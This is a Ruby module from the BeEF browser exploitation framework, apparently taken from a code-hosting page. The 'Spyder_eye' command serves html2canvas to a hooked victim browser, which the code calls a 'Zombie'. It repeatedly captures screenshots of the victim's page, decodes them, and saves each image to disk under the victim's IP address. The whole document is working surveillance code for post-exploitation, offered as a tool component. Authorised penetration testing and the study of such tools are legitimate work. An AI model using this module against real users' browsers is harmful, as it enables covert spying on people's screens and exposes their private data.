42 lines
1.7 KiB
Ruby
42 lines
1.7 KiB
Ruby
#
|
|
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
|
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
|
# See the file 'doc/COPYING' for copying permission
|
|
#
|
|
class Spyder_eye < BeEF::Core::Command
|
|
def self.options
|
|
[
|
|
{ 'ui_label' => 'Repeat', 'name' => 'repeat', 'description' => 'Number of snapshot to take.', 'value' => '1', 'width' => '80px' },
|
|
{ 'ui_label' => 'Delay', 'name' => 'delay', 'description' => 'Delay between taking each snapshot in ms. To low value may severily impact browser\'s performance.',
|
|
'value' => '3000', 'width' => '80px' }
|
|
]
|
|
end
|
|
|
|
def pre_send
|
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.min.js', '/h2c', 'js')
|
|
end
|
|
|
|
def post_execute
|
|
content = {}
|
|
content['results'] = @datastore['results'] unless @datastore['results'].nil?
|
|
save content
|
|
|
|
# save screenshot file
|
|
begin
|
|
timestamp = Time.now.localtime.strftime('%Y-%m-%d_%H-%M-%S')
|
|
ip = BeEF::Core::Models::BrowserDetails.get(session_id, 'browser.ipaddress')
|
|
filename = "#{$home_dir}/screenshot_#{ip}_-_#{timestamp}_#{@datastore['cid']}.png"
|
|
File.open(filename, 'wb') do |file|
|
|
data = @datastore['results'].gsub(%r{^image=data:image/(png|jpg);base64,}, '')
|
|
file.write(Base64.decode64(data))
|
|
end
|
|
print_info("Browser screenshot saved to '#{filename}'")
|
|
BeEF::Core::Logger.instance.register('Zombie', "Browser screenshot saved to '#{filename}'")
|
|
rescue StandardError => e
|
|
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
|
|
end
|
|
|
|
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
|
|
end
|
|
end
|